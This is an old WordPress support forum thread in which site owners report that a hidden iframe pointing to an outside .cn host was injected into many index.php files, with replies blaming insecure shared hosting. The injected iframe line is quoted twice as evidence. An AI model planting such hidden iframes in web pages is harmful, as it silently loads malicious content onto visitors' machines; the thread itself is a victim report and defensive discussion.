• Hi

    I need some help. Once I install WP2.8 in a free hosting site and within a day, my site is hacked.

    Following files are affected with this insertion.

    /** Loads the WordPress Environment and Template */
    require(‘./wp-blog-
    <iframe src=”https://bigtoprocks.cn:8080/index.php&#8221; width=153 height=146 style=”visibility: hidden”></iframe>

    /index.php
    wp-includes/default-widgets.php
    wp-includes/default-filters.php
    wp-content/index.php
    wp-content/plugins/index.php
    /wp-content/themes/index.php
    /wp-content/themes/default/index.php
    /wp-content/themes/classic/index.php
    /wp-admin/index.php
    /wp-admin/index-extra.php

    Kindly advice.

    My site: https://sgjobs4u.co.cc/

Viewing 3 replies - 1 through 3 (of 3 total)
  • This also has happened to me on 3 of my regular websites. If I re-upload the webpage it works fine, then after a few hours it gets this virus and shifts the whole webpage down about 2 inches.
    Then the site will not even open for anyone using AVG virus protection. It claims that the site is infected with the: HTML/Framer virus

    Here is the infected script: <body bgcolor=”#ffffff”><iframe src=”https://bigtoprocks.cn:8080/index.php&#8221; width=196 height=168 style=”visibility: hidden”></iframe>

    Does anyone know how to get rid of this virus?

    I had this problem. I CHMOd index.php to 444, and since no one can write on the file now, no more virus attack.

    Hope this helps.

    Moderator Samuel Wood (Otto)

    (@otto42)

    www.remarpro.com Admin

    Complain to your webhost. 90% of the time when you see an attack like this, it has to do with poor shared server security. If the server is shared among websites, and those websites are not properly isolated, then anybody getting into the server through any of those sites can put a program on there that scans for index.php files and inserts their malicious iframe code.

    This is not necessarily a WordPress vulnerability, it’s just that that server itself is compromised. Anything you put on there will get hacked. To see this, try it yourself. Take some other text file, rename it to index.php and put in on your web server in the same way. Wait a couple hours, see if it gets “hacked” too.

    Solutions:
    1) Have your web host fix it (unlikely to succeed).
    2) Demand your money back (if any) and get a new web host (highly recommended).

    Note to any webhost who happens to read this: On shared servers, you *need* to run mod_suphp. You want the php code running with the privileges of the user who owns the files. This means that if a site gets hacked, the hacker only gets access to that users account, not to every account with web accessible files.

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘Installed WP2.8 and got hack immediately’ is closed to new replies.